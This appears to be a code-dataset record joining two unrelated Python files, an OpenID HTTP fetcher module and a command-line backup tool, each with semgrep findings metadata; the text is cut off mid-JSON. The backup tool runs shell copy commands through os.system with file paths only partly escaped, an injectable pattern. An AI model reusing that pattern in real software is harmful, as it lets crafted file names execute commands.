# variable outside of this module.
_default_fetcher = None
def getDefaultFetcher():
"""Return the default fetcher instance
if no fetcher has been set, it will create a default fetcher.
@return: the default fetcher
@rtype: HTTPFetcher
"""
global _default_fetcher
if _default_fetcher is None:
setDefaultFetcher(createHTTPFetcher())
return _default_fetcher
def setDefaultFetcher(fetcher, wrap_exceptions=True):
"""Set the default fetcher
@param fetcher: The fetcher to use as the default HTTP fetcher
@type fetcher: HTTPFetcher
@param wrap_exceptions: Whether to wrap exceptions thrown by the
fetcher wil HTTPFetchingError so that they may be caught
easier. By default, exceptions will be wrapped. In general,
unwrapped fetchers are useful for debugging of fetching errors
or if your fetcher raises well-known exceptions that you would
like to catch.
@type wrap_exceptions: bool
"""
global _default_fetcher
if fetcher is None or not wrap_exceptions:
_default_fetcher = fetcher
else:
_default_fetcher = ExceptionWrappingFetcher(fetcher)
def usingCurl():
"""Whether the currently set HTTP fetcher is a Curl HTTP fetcher."""
fetcher = getDefaultFetcher()
if isinstance(fetcher, ExceptionWrappingFetcher):
fetcher = fetcher.fetcher
return isinstance(fetcher, CurlHTTPFetcher)
class HTTPResponse(object):
"""XXX document attributes"""
headers = None
status = None
body = None
final_url = None
def __init__(self, final_url=None, status=None, headers=None, body=None):
self.final_url = final_url
self.status = status
self.headers = headers
self.body = body
def __repr__(self):
return "<%s status %s for %s>" % (self.__class__.__name__, self.status,
self.final_url)
class HTTPFetcher(object):
"""
This class is the interface for openid HTTP fetchers. This
interface is only important if you need to write a new fetcher for
some reason.
"""
def fetch(self, url, body=None, headers=None):
"""
This performs an HTTP POST or GET, following redirects along
the way. If a body is specified, then the request will be a
POST. Otherwise, it will be a GET.
@param headers: HTTP headers to include with the request
@type headers: {str:str}
@return: An object representing the server's HTTP response. If
there are network or protocol errors, an exception will be
raised. HTTP error responses, like 404 or 500, do not
cause exceptions.
@rtype: L{HTTPResponse}
@raise Exception: Different implementations will raise
different errors based on the underlying HTTP library.
"""
raise NotImplementedError
def _allowedURL(url):
parsed = urllib.parse.urlparse(url)
# scheme is the first item in the tuple
return parsed[0] in ('http', 'https')
class HTTPFetchingError(Exception):
"""Exception that is wrapped around all exceptions that are raised
by the underlying fetcher when using the ExceptionWrappingFetcher
@ivar why: The exception that caused this exception
"""
def __init__(self, why=None):
Exception.__init__(self, why)
self.why = why
class ExceptionWrappingFetcher(HTTPFetcher):
"""Fetcher that wraps another fetcher, causing all exceptions
@cvar uncaught_exceptions: Exceptions that should be exposed to the
user if they are raised by the fetch call
"""
uncaught_exceptions = (SystemExit, KeyboardInterrupt, MemoryError)
def __init__(self, fetcher):
self.fetcher = fetcher
def fetch(self, *args, **kwargs):
try:
return self.fetcher.fetch(*args, **kwargs)
except self.uncaught_exceptions:
raise
except:
exc_cls, exc_inst = sys.exc_info()[:2]
if exc_inst is None:
# string exceptions
exc_inst = exc_cls
raise HTTPFetchingError(why=exc_inst)
class Urllib2Fetcher(HTTPFetcher):
"""An C{L{HTTPFetcher}} that uses urllib2.
"""
# Parameterized for the benefit of testing frameworks, see
# http://trac.openidenabled.com/trac/ticket/85
urlopen = staticmethod(urllib.request.urlopen)
def fetch(self, url, body=None, headers=None):
if not _allowedURL(url):
raise ValueError('Bad URL scheme: %r' % (url, ))
if headers is None:
headers = {}
headers.setdefault('User-Agent', "%s Python-urllib/%s" %
(USER_AGENT, urllib.request.__version__))
if isinstance(body, str):
body = bytes(body, encoding="utf-8")
req = urllib.request.Request(url, data=body, headers=headers)
url_resource = None
try:
url_resource = self.urlopen(req)
with contextlib.closing(url_resource):
return self._makeResponse(url_resource)
except urllib.error.HTTPError as why:
with contextlib.closing(why):
resp = self._makeResponse(why)
return resp
except (urllib.error.URLError, http.client.BadStatusLine) as why:
raise
except Exception as why:
raise AssertionError(why)
def _makeResponse(self, urllib2_response):
'''
Construct an HTTPResponse from the the urllib response. Attempt to
decode the response body from bytes to str if the necessary information
is available.
'''
resp = HTTPResponse()
resp.body = urllib2_response.read(MAX_RESPONSE_KB * 1024)
resp.final_url = urllib2_response.geturl()
resp.headers = self._lowerCaseKeys(
dict(list(urllib2_response.info().items())))
if hasattr(urllib2_response, 'code'):
resp.status = urllib2_response.code
else:
resp.status = 200
_, extra_dict = self._parseHeaderValue(
resp.headers.get("content-type", ""))
# Try to decode the response body to a string, if there's a
# charset known; fall back to ISO-8859-1 otherwise, since that's
# what's suggested in HTTP/1.1
charset = extra_dict.get('charset', 'latin1')
try:
resp.body = resp.body.decode(charset)
except Exception:
pass
return resp
def _lowerCaseKeys(self, headers_dict):
new_dict = {}
for k, v in headers_dict.items():
new_dict[k.lower()] = v
return new_dict
def _parseHeaderValue(self, header_value):
"""
Parse out a complex header value (such as Content-Type, with a value
like "text/html; charset=utf-8") into a main value and a dictionary of
extra information (in this case, 'text/html' and {'charset': 'utf8'}).
"""
values = header_value.split(';', 1)
if len(values) == 1:
# There's no extra info -- return the main value and an empty dict
return values[0], {}
main_value, extra_values = values[0], values[1].split(';')
extra_dict = {}
for value_string in extra_values:
try:
key, value = value_string.split('=', 1)
extra_dict[key.strip()] = value.strip()
except ValueError:
# Can't unpack it -- must be malformed. Ignore
pass
return main_value, extra_dict
class HTTPError(HTTPFetchingError):
"""
This exception is raised by the C{L{CurlHTTPFetcher}} when it
encounters an exceptional situation fetching a URL.
"""
pass
# XXX: define what we mean by paranoid, and make sure it is.
class CurlHTTPFetcher(HTTPFetcher):
"""
An C{L{HTTPFetcher}} that uses pycurl for fetching.
See U{http://pycurl.sourceforge.net/}.
"""
ALLOWED_TIME = 20 # seconds
def __init__(self):
HTTPFetcher.__init__(self)
if pycurl is None:
raise RuntimeError('Cannot find pycurl library')
def _parseHeaders(self, header_file):
header_file.seek(0)
# Remove all non "name: value" header lines from the input
lines = [line.decode().strip() for line in header_file if b':' in line]
headers = {}
for line in lines:
try:
name, value = line.split(':', 1)
except ValueError:
raise HTTPError("Malformed HTTP header line in response: %r" %
(line, ))
value = value.strip()
# HTTP headers are case-insensitive
name = name.lower()
headers[name] = value
return headers
def _checkURL(self, url):
# XXX: document that this can be overridden to match desired policy
# XXX: make sure url is well-formed and routeable
return _allowedURL(url)
def fetch(self, url, body=None, headers=None):
stop = int(time.time()) + self.ALLOWED_TIME
off = self.ALLOWED_TIME
if headers is None:
headers = {}
headers.setdefault('User-Agent',
"%s %s" % (USER_AGENT, pycurl.version, ))
header_list = []
if headers is not None:
for header_name, header_value in headers.items():
header = '%s: %s' % (header_name, header_value)
header_list.append(header.encode())
c = pycurl.Curl()
try:
c.setopt(pycurl.NOSIGNAL, 1)
if header_list:
c.setopt(pycurl.HTTPHEADER, header_list)
# Presence of a body indicates that we should do a POST
if body is not None:
c.setopt(pycurl.POST, 1)
c.setopt(pycurl.POSTFIELDS, body)
while off > 0:
if not self._checkURL(url):
raise HTTPError("Fetching URL not allowed: %r" % (url, ))
data = io.BytesIO()
def write_data(chunk):
if data.tell() > (1024 * MAX_RESPONSE_KB):
return 0
else:
return data.write(chunk)
response_header_data = io.BytesIO()
c.setopt(pycurl.WRITEFUNCTION, write_data)
c.setopt(pycurl.HEADERFUNCTION, response_header_data.write)
c.setopt(pycurl.TIMEOUT, off)
c.setopt(pycurl.URL, openid.urinorm.urinorm(url))
c.perform()
response_headers = self._parseHeaders(response_header_data)
code = c.getinfo(pycurl.RESPONSE_CODE)
if code in [301, 302, 303, 307]:
url = response_headers.get('location')
if url is None:
raise HTTPError(
'Redirect (%s) returned without a location' % code)
# Redirects are always GETs
c.setopt(pycurl.POST, 0)
# There is no way to reset POSTFIELDS to empty and
# reuse the connection, but we only use it once.
else:
resp = HTTPResponse()
resp.headers = response_headers
resp.status = code
resp.final_url = url
resp.body = data.getvalue().decode()
return resp
off = stop - int(time.time())
raise HTTPError("Timed out fetching: %r" % (url, ))
finally:
c.close()
class HTTPLib2Fetcher(HTTPFetcher):
"""A fetcher that uses C{httplib2} for performing HTTP
requests. This implementation supports HTTP caching.
@see: http://bitworking.org/projects/httplib2/
"""
def __init__(self, cache=None):
"""@param cache: An object suitable for use as an C{httplib2}
cache. If a string is passed, it is assumed to be a
directory name.
"""
if httplib2 is None:
raise RuntimeError('Cannot find httplib2 library. '
'See http://bitworking.org/projects/httplib2/')
super(HTTPLib2Fetcher, self).__init__()
# An instance of the httplib2 object that performs HTTP requests
self.httplib2 = httplib2.Http(cache)
# We want httplib2 to raise exceptions for errors, just like
# the other fetchers.
self.httplib2.force_exception_to_status_code = False
def fetch(self, url, body=None, headers=None):
"""Perform an HTTP request
@raises Exception: Any exception that can be raised by httplib2
@see: C{L{HTTPFetcher.fetch}}
"""
if body:
method = 'POST'
else:
method = 'GET'
if headers is None:
headers = {}
# httplib2 doesn't check to make sure that the URL's scheme is
# 'http' so we do it here.
if not (url.startswith('http://') or url.startswith('https://')):
raise ValueError('URL is not a HTTP URL: %r' % (url, ))
httplib2_response, content = self.httplib2.request(
url, method, body=body, headers=headers)
# Translate the httplib2 response to our HTTP response abstraction
# When a 400 is returned, there is no "content-location"
# header set. This seems like a bug to me. I can't think of a
# case where we really care about the final URL when it is an
# error response, but being careful about it can't hurt.
try:
final_url = httplib2_response['content-location']
except KeyError:
# We're assuming that no redirects occurred
assert not httplib2_response.previous
# And this should never happen for a successful response
assert httplib2_response.status != 200
final_url = url
return HTTPResponse(
body=content.decode(), # TODO Don't assume ASCII
final_url=final_url,
headers=dict(list(httplib2_response.items())),
status=httplib2_response.status, )
| 493 | 31.21 | 79 | 19 | 3,533 | python | [{"finding_id": "semgrep_rules.python.lang.correctness.common-mistakes.identical-is-comparison_bdb9f963e9fa869f_baf2c473", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.common-mistakes.identical-is-comparison", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "Found identical comparison using is. Ensure this is what you intended.", "remediation": "", "location": {"file_path": "unknown", "line_start": 56, "line_end": 56, "column_start": 8, "column_end": 22, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.common-mistakes.identical-is-comparison", "path": "/tmp/tmpb8jm_z1l/bdb9f963e9fa869f.py", "start": {"line": 56, "col": 8, "offset": 1296}, "end": {"line": 56, "col": 22, "offset": 1310}, "extra": {"message": "Found identical comparison using is. Ensure this is what you intended.", "metadata": {"category": "correctness", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.common-mistakes.identical-is-comparison_bdb9f963e9fa869f_93976b13", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.common-mistakes.identical-is-comparison", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "Found identical comparison using is. Ensure this is what you intended.", "remediation": "", "location": {"file_path": "unknown", "line_start": 319, "line_end": 319, "column_start": 12, "column_end": 26, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.common-mistakes.identical-is-comparison", "path": "/tmp/tmpb8jm_z1l/bdb9f963e9fa869f.py", "start": {"line": 319, "col": 12, "offset": 9682}, "end": {"line": 319, "col": 26, "offset": 9696}, "extra": {"message": "Found identical comparison using is. Ensure this is what you intended.", "metadata": {"category": "correctness", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.common-mistakes.identical-is-comparison_bdb9f963e9fa869f_479206bb", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.common-mistakes.identical-is-comparison", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "Found identical comparison using is. Ensure this is what you intended.", "remediation": "", "location": {"file_path": "unknown", "line_start": 437, "line_end": 437, "column_start": 12, "column_end": 28, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.common-mistakes.identical-is-comparison", "path": "/tmp/tmpb8jm_z1l/bdb9f963e9fa869f.py", "start": {"line": 437, "col": 12, "offset": 13744}, "end": {"line": 437, "col": 28, "offset": 13760}, "extra": {"message": "Found identical comparison using is. Ensure this is what you intended.", "metadata": {"category": "correctness", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 3 | true | [
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] | fetchers.py | /openid/fetchers.py | necaris/python3-openid | Apache-2.0 | |
2024-11-18T18:05:56.044170+00:00 | 1,486,668,271,000 | 503503ca77386d7ad226326d25fcb3c96f7f2b8e | 3 | {
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} | 2.625 | stackv2 | #!/usr/bin/env python3.6
#CONFIGURATION################################################
#STORAGE CONFIG
configpath = ""
scanstorage = ""
#SAFETY GUARD CONFIG
safetyguard = True
#Input min value in percent for cloning file override safety guard.
#Backup will be aborted if change counter passes this value.
minwarningvalue = 75
#COPY CONFIG
copypath = ""
##############################################################
#DO NOT EDIT BELOW HERE!
import os, sys, time, shutil, zlib
#STARTUP CODE
if configpath == "":
configpath = "/etc/btsoot/btsoot.conf"
if scanstorage == "":
scanstorage = "/etc/btsoot/scans/"
if copypath == "":
copypath = "/usr/local/bin/btsoot-copy"
if os.path.exists("/etc/btsoot") == True:
pass
else:
try:
os.makedirs("/etc/btsoot/scans")
except PermissionError:
print("BTSOOT needs root permissions")
sys.exit()
class color:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
#DEBUG FUNCTION AND SETVAR
debug = False
if "--debug" in sys.argv:
debug = True
def dprint(message):
if debug == True:
print(f"DEBUG: {message}")
def shouldcontinue(quit = True):
if input("Should i continue? (yes/No)") == "yes":
return 0
else:
if quit == True:
sys.exit()
else:
return 1
def crc(filepath):
previous = 0
try:
for line in open(filepath,"rb"):
previous = zlib.crc32(line, previous)
except OSError:
print("CRC ERROR: OSERROR")
return "%X"%(previous & 0xFFFFFFFF)
usage = f"""USAGE: {sys.argv[0]} <commands>
add <name> <path> <server/local>\tadd block
rm <name>\t\t\t\tremove added block
scan <name>\t\t\t\tscan added block
backup <name>\t\t\t\tbackup scanned block
update_dependencies\t\t\tupdate the needed libraries
"""
def split(string, splitters): #MAY RESOLVE ALL PROBLEMS WITH CSV
final = [string]
for x in splitters:
for i,s in enumerate(final):
if x in s and x != s:
left, right = s.split(x, 1)
final[i] = left
final.insert(i + 1, x)
final.insert(i + 2, right)
return final
def scandirectory(walk_dir, scanfile, verbose = False):
try:
current_scan = []
for root, subdirs, files in os.walk(walk_dir):
current_scan.extend([f"{root}\n"])
for filename in files:
file_path = os.path.join(root, filename)
checksum = crc(file_path)
current_scan.extend([f"{file_path},{checksum}\n"])
with open(scanfile, "w") as current_scan_file:
current_scan_file.writelines(current_scan)
except FileNotFoundError:
if verbose == True:
print(color.FAIL + "SCAN ERROR: FILE NOT FOUND" + color.ENDC)
def main():
try:
if sys.argv[1] == "add":
name = sys.argv[2]
path = sys.argv[3]
server = sys.argv[4]
with open(configpath, "a") as conf:
conf.write(f"{name},{path},{server}\n")
elif sys.argv[1] == "rm":
name = sys.argv[2]
try:
lines = []
with open(configpath, "r") as conf:
lines = conf.readlines()
with open(configpath, "w") as conf:
for line in lines:
split_line = split(line, ",")
if split_line[0] != name:
conf.write(line)
except FileNotFoundError:
print(color.FAIL + "Configfile not found." + color.ENDC)
print("Create one with 'add'.")
elif sys.argv[1] == "list":
try:
with open(configpath, "r") as conf:
for line in conf:
split_line = split(line, ",")
print(f"BLOCKNAME: {split_line[0]}")
print(f"\tSRC: {split_line[2]}")
print(f"\tDEST: {split_line[4].rsplit()}")
except FileNotFoundError:
print(color.FAIL + "Configfile not found." + color.ENDC)
print("Create one with 'add'.")
elif sys.argv[1] == "backup":
#REMOVE ENTREE FROM BTSOOT CONFIG
searched_path = None
name = sys.argv[2]
scanfilename = "{}_{}.btsscan".format(int(time.time()), name)
try:
path = ""
with open(configpath, "r") as conf:
for line in conf:
split_line = split(line, ",")
path = split_line[2].rstrip()
print(color.OKBLUE + f"Executing scan for block {sys.argv[2]}" + color.ENDC)
except FileNotFoundError:
print(color.FAIL + "Configfile not found." + color.ENDC)
print("Create one with 'add'.")
#SCAN
scandirectory(path, f"{scanstorage}{scanfilename}", False)
#LIST FILES TO FIND SCANFILES
#SORT OUT ANY UNINTERESTING FILES
scanfilelist = []
#LIST DIRS
dirs = os.listdir(scanstorage)
number_of_files = 0
#SEARCH FOR SCANFILES
for singlefile in dirs:
blockname = split(singlefile, ["_", "."])
try:
if blockname[4] == "btsscan" and blockname[2] == sys.argv[2]:
number_of_files = number_of_files + 1
scanfilelist.append(singlefile)
except IndexError:
pass
#LIST CONFIG ENTREES
serverlocation = ""
sourcelocation = ""
with open(configpath, "r") as conf:
for line in conf:
split_line = split(line, ",")
if split_line[0] == sys.argv[2]:
sourcelocation = split_line[2]
serverlocation = split_line[4].rstrip() #Last entree has nline
else:
print(color.FAIL + f"No block {sys.argv[2]} found." + color.ENDC)
if number_of_files == 1:
print("One scan found. Complete backup of ALL data will be created.")
print(color.OKBLUE + "Executing datatransfer." + color.ENDC)
with open(f"{scanstorage}{scanfilename}", "r") as scan:
lines = scan.readlines()
for line in lines:
path = split(line, ",")
if len(path) == 1:
os.makedirs(f"{serverlocation}{line.rstrip()}", exist_ok=True)
elif len(path) == 3:
path = path[0]
path = path.replace(" ", "\ ")
path = path.replace("(", "\(")
path = path.replace(")", "\)")
status = os.system(f"{copypath} {path} {serverlocation}{path}")
exit_status = os.WEXITSTATUS(status)
if exit_status != 0:
print(color.FAIL + f"COPY ERROR: {exit_status}" + color.ENDC)
else:
print(color.FAIL + "Corrupt: " + line + color.ENDC)
sys.exit()
print("Sufficient number of scan files were found.")
splitted_timestamp = []
#FIND LATEST TWO FILES
#SPLIT EVERY FILE NAME TO GAIN TIMESTAMP
for scanfile in scanfilelist:
temp = split(scanfile, "_")
splitted_timestamp.append(int(temp[0]))
#GETS LATEST SCANFILE'S TIMESTAMP
latest_timestamp = max(splitted_timestamp)
#SETS MAX VALUE TO -1 TO FIND SECOND HIGHEST VALUE
listcounter = 0
for timestamp in splitted_timestamp:
if timestamp == latest_timestamp:
splitted_timestamp[listcounter] = -1
listcounter = listcounter + 1
#GET PREVIOUS FILE'S TIMESTAMP
previous_timestamp = max(splitted_timestamp)
dircounter = 0
latest_scan_array_index = -1
previous_scan_array_index = -1
for singlefile in scanfilelist:
temp = split(singlefile, "_")
if int(temp[0]) == latest_timestamp:
latest_scan_array_index = dircounter
elif int(temp[0]) == previous_timestamp:
previous_scan_array_index = dircounter
dircounter = dircounter + 1
print("Latest scan: " + scanfilelist[latest_scan_array_index])
print("Previous scan: " + scanfilelist[previous_scan_array_index] + "\n")
#COMPARE THE TWO FILES AGAINST EACH OTHER
latest_scan_fd = open(f"{scanstorage}{scanfilelist[latest_scan_array_index]}", "r")
previous_scan_fd = open(f"{scanstorage}{scanfilelist[previous_scan_array_index]}", "r")
transmit_list = []
latest_scan = latest_scan_fd.readlines()
previous_scan = previous_scan_fd.readlines()
file_same = 0
file_new = 0
file_total_old = 0
file_total_latest = 0
file_deleted = 0 #DELETED LINES COUNTER
#REMOVE DELETED OR CHANGED FILES
for oldline in previous_scan:
if oldline not in latest_scan:
checkifdir = split(oldline, ",")
if len(checkifdir) == 1:
#IF DIRECTORY, HASH WILL BE "directory".
#THAT IS NEEDED DURING DIRECTORY REMOVAL
transmit_list.extend([f"{oldline.rstrip()},directory,-\n"])
print(color.FAIL + f"- {oldline}" + color.ENDC, end='')
else:
transmit_list.extend([f"{oldline.rstrip()},-\n"])
print(color.FAIL + f"- {oldline}" + color.ENDC, end='')
file_deleted = file_deleted + 1
file_total_old = file_total_old + 1
#FIND OUT CHANGED OR NEW FILES
for line in latest_scan:
if line in previous_scan:
file_same = file_same + 1
else:
checkifdir = split(line, ",")
if len(checkifdir) == 1:
#IF DIRECTORY, HASH WILL BE "directory".
#THAT IS NEEDED DURING DIRECTORY CREATION
transmit_list.extend([f"{line.rstrip()},directory,+\n"])
else:
transmit_list.extend([f"{line.rstrip()},+\n"])
file_new = file_new + 1
file_total_latest = file_total_latest + 1
#FILE STATS
print(f"\nUnchanged files: {file_same}")
print(f"New/Changed files: {file_new}")
print(f"Deleted files: {file_deleted}")
print(f"Total files in latest scan: {file_total_latest}")
print(f"Total files in previous scan: {file_total_old}")
#SAFETY GUARD: SEE ISSUE #8
if safetyguard == True:
if file_deleted >= file_total_old / 100 * minwarningvalue:
print(f"SAFETY GUARD: MORE THAN {minwarningvalue}% DELETED")
shouldcontinue()
elif file_total_latest == 0:
print("SAFETY GUARD: NO FILES FOUND.")
shouldcontinue()
else:
pass
#TRANSMITTER
print(color.OKBLUE + "Executing datatransfer." + color.ENDC)
for line in transmit_list:
line = split(line.rstrip(), ",")
if len(line) > 5:
print(color.FAIL + f"Cannot backup file {line}." + color.ENDC)
print("Path would brick BTSOOT.")
else:
if line[4] == "-":
if line[2] == "directory":
try:
shutil.rmtree(f"{serverlocation}{line[0]}")
except FileNotFoundError:
pass
else:
try:
os.remove(f"{serverlocation}{line[0]}")
except FileNotFoundError:
pass
elif line[4] == "+":
if line[2] == "directory":
os.makedirs(f"{serverlocation}{line[0]}", exist_ok=True)
else:
path = line[0]
path = path.replace(" ", "\ ")
path = path.replace("(", "\(")
path = path.replace(")", "\)")
status = os.system(f"{copypath} {path} {serverlocation}{path}")
exit_status = os.WEXITSTATUS(status)
if exit_status != 0:
print(color.FAIL + f"COPY ERROR: {exit_status}"+ color.ENDC)
else:
print(color.WARNING + "TRANSMIT CORRUPTION:" + color.ENDC)
print(color.WARNING + line + color.ENDC)
previous_scan_fd.close()
latest_scan_fd.close()
print(color.OKGREEN + "Done." + color.ENDC)
elif sys.argv[1] == "restore":
print(color.FAIL + "WARNING! This will remove all files from source.")
print("IF NO FILES ARE FOUND INSIDE THE BACKUP FOLDER, EVERYTHING IS LOST.")
print("Abort using CTRL+C within 15 seconds." + color.ENDC)
if not "--override" in sys.argv:
time.sleep(15)
serverlocation = ""
sourcelocation = ""
with open(configpath, "r") as conf:
for line in conf:
split_line = split(line, ",")
if split_line[0] == sys.argv[2]:
sourcelocation = split_line[2]
serverlocation = split_line[4].rstrip()
print(color.OKBLUE + "Deleting source." + color.ENDC)
shutil.rmtree(sourcelocation)
os.makedirs(sourcelocation)
print(color.OKBLUE + "Executing datatransfer." + color.ENDC)
print("This may take a long time.")
#LIST FILES TO FIND SCANFILES
#SORT OUT ANY UNINTERESTING FILES
scanfilelist = []
#LIST DIRS
dirs = os.listdir(scanstorage)
number_of_files = 0
#SEARCH FOR SCANFILES
for singlefile in dirs:
blockname = split(singlefile, ["_", "."])
try:
if blockname[4] == "btsscan" and blockname[2] == sys.argv[2]:
number_of_files = number_of_files + 1
scanfilelist.append(singlefile)
except IndexError:
pass
splitted_timestamp = []
#FIND LATEST TWO FILES
#SPLIT EVERY FILE NAME TO GAIN TIMESTAMP
for scanfile in scanfilelist:
temp = split(scanfile, "_")
splitted_timestamp.append(int(temp[0]))
#GETS LATEST SCANFILE'S TIMESTAMP
latest_timestamp = max(splitted_timestamp)
dircounter = 0
latest_scan_array_index = -1
previous_scan_array_index = -1
for singlefile in scanfilelist:
temp = split(singlefile, "_")
if int(temp[0]) == latest_timestamp:
latest_scan_array_index = dircounter
dircounter = dircounter + 1
print("Latest scan: " + scanfilelist[latest_scan_array_index])
latest_scan_fd = open(f"{scanstorage}{scanfilelist[latest_scan_array_index]}", "r")
for line in latest_scan_fd:
split_line = split(line, ",")
if len(split_line) == 1:
path = split_line[0]
path = path.rstrip()
os.makedirs(path, exist_ok=True)
elif len(split_line) == 3:
path = split_line[0]
path = path.replace(" ", "\ ")
path = path.replace("(", "\(")
path = path.replace(")", "\)")
status = os.system(f"/etc/btsoot/copy {serverlocation}{path} {path}")
exit_status = os.WEXITSTATUS(status)
if exit_status != 0:
print(color.FAIL + f"COPY ERROR: {exit_status}"+ color.ENDC)
else:
pass
latest_scan_fd.close()
print(color.OKGREEN + "Done." + color.ENDC)
else:
print(usage)
except IndexError:
print("INDEX ERROR")
print(usage)
sys.exit()
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print("\nQuitting.\n")
sys.exit()
| 473 | 27.42 | 90 | 29 | 3,794 | python | [{"finding_id": "semgrep_rules.python.lang.correctness.useless-eqeq_0e922a795ec58cd2_35ffc569", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.useless-eqeq", "finding_type": "correctness", "severity": "low", "confidence": "medium", "message": "This expression is always True: `configpath == configpath` or `configpath != configpath`. If testing for floating point NaN, use `math.isnan(configpath)`, or `cmath.isnan(configpath)` if the number is complex.", "remediation": "", "location": {"file_path": "unknown", "line_start": 27, "line_end": 27, "column_start": 4, "column_end": 20, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 3.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.useless-eqeq", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 27, "col": 4, "offset": 506}, "end": {"line": 27, "col": 20, "offset": 522}, "extra": {"message": "This expression is always True: `configpath == configpath` or `configpath != configpath`. If testing for floating point NaN, use `math.isnan(configpath)`, or `cmath.isnan(configpath)` if the number is complex.", "metadata": {"category": "correctness", "technology": ["python"]}, "severity": "INFO", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.useless-eqeq_0e922a795ec58cd2_25df31ec", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.useless-eqeq", "finding_type": "correctness", "severity": "low", "confidence": "medium", "message": "This expression is always True: `scanstorage == scanstorage` or `scanstorage != scanstorage`. If testing for floating point NaN, use `math.isnan(scanstorage)`, or `cmath.isnan(scanstorage)` if the number is complex.", "remediation": "", "location": {"file_path": "unknown", "line_start": 29, "line_end": 29, "column_start": 4, "column_end": 21, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 3.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.useless-eqeq", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 29, "col": 4, "offset": 567}, "end": {"line": 29, "col": 21, "offset": 584}, "extra": {"message": "This expression is always True: `scanstorage == scanstorage` or `scanstorage != scanstorage`. If testing for floating point NaN, use `math.isnan(scanstorage)`, or `cmath.isnan(scanstorage)` if the number is complex.", "metadata": {"category": "correctness", "technology": ["python"]}, "severity": "INFO", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.useless-eqeq_0e922a795ec58cd2_86d7eb67", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.useless-eqeq", "finding_type": "correctness", "severity": "low", "confidence": "medium", "message": "This expression is always True: `copypath == copypath` or `copypath != copypath`. If testing for floating point NaN, use `math.isnan(copypath)`, or `cmath.isnan(copypath)` if the number is complex.", "remediation": "", "location": {"file_path": "unknown", "line_start": 31, "line_end": 31, "column_start": 4, "column_end": 18, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 3.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.useless-eqeq", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 31, "col": 4, "offset": 625}, "end": {"line": 31, "col": 18, "offset": 639}, "extra": {"message": "This expression is always True: `copypath == copypath` or `copypath != copypath`. If testing for floating point NaN, use `math.isnan(copypath)`, or `cmath.isnan(copypath)` if the number is complex.", "metadata": {"category": "correctness", "technology": ["python"]}, "severity": "INFO", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_0e922a795ec58cd2_065baeb0", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 112, "line_end": 112, "column_start": 8, "column_end": 27, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 112, "col": 8, "offset": 2431}, "end": {"line": 112, "col": 27, "offset": 2450}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure 